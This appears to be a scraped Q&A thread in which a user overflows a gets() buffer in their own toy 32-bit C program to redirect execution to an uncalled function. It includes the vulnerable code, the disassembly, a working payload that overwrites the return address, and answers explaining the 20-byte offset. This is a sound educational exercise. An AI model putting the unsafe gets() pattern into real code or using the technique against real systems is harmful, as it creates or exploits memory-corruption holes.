I'm trying to take a control over a stack overflow. First, here is an example of C code I compiled on an x32 VM Linux (gcc -fno-stack-protector -ggdb -o first first.c
),
#include "stdio.h"
int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}
void GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
int main()
{
GetInput();
return(0);
}
Then debugger (intel flavor): dump of assembler code for function GetInput
:
0x08048455 <+0>: push ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]
Here we can see that sub esp, 0x28 reserves 40 bytes for a buffer variable (Right?).
CanNeverExecute
function is located in address 0x0804843c
.
So, in order to run CanNeverExecute
function, I need to put 40 bytes into buffer variable, then goes 8 bytes for stored base pointer and then 8 bytes of return pointer I want to change.
So, I need a string of 48 ASCII symbols plus \x3c\x84\x04\x08
in the end (address of the CanNeverExecute
function). That is in theory. But In practice I need only 20 bytes before address of the return pointer:
~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)
Why does it need only 20 bytes instead of 48? Where is my mistake?
If You take bigger part of dissassembly You will see:
08048445 <GetInput>:
8048445: 55 push %ebp
8048446: 89 e5 mov %esp,%ebp
8048448: 83 ec 28 sub $0x28,%esp
804844b: 8d 45 f0 lea -0x10(%ebp),%eax
804844e: 89 04 24 mov %eax,(%esp)
8048451: e8 9a fe ff ff call 80482f0 <gets@plt>
8048456: 8d 45 f0 lea -0x10(%ebp),%eax
8048459: 89 04 24 mov %eax,(%esp)
804845c: e8 9f fe ff ff call 8048300 <puts@plt>
8048461: c9 leave
8048462: c3 ret
ebp is saved, esp is moved to ebp, then 40 is subtracted from esp (stack frame, as you wrote), but pointer to buffer is passed to gets via eax register, and eax is loaded with ebp-0x10!
lea -0x10(%ebp),%eax
So You need only 20 bytes to overflow the buffer (16 reserved + 4 for stored base pointer on 32-bit system)
First off, your assembly is 32-bit. Saved EBP and return address are 4 bytes each.
Second, the buffer
variable does not start at stack top (ESP) - it starts at ebp-0x10. Which is 20 bytes away from the return address. 0x10 is 16 bytes, then 4 more for the saved EBP.
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With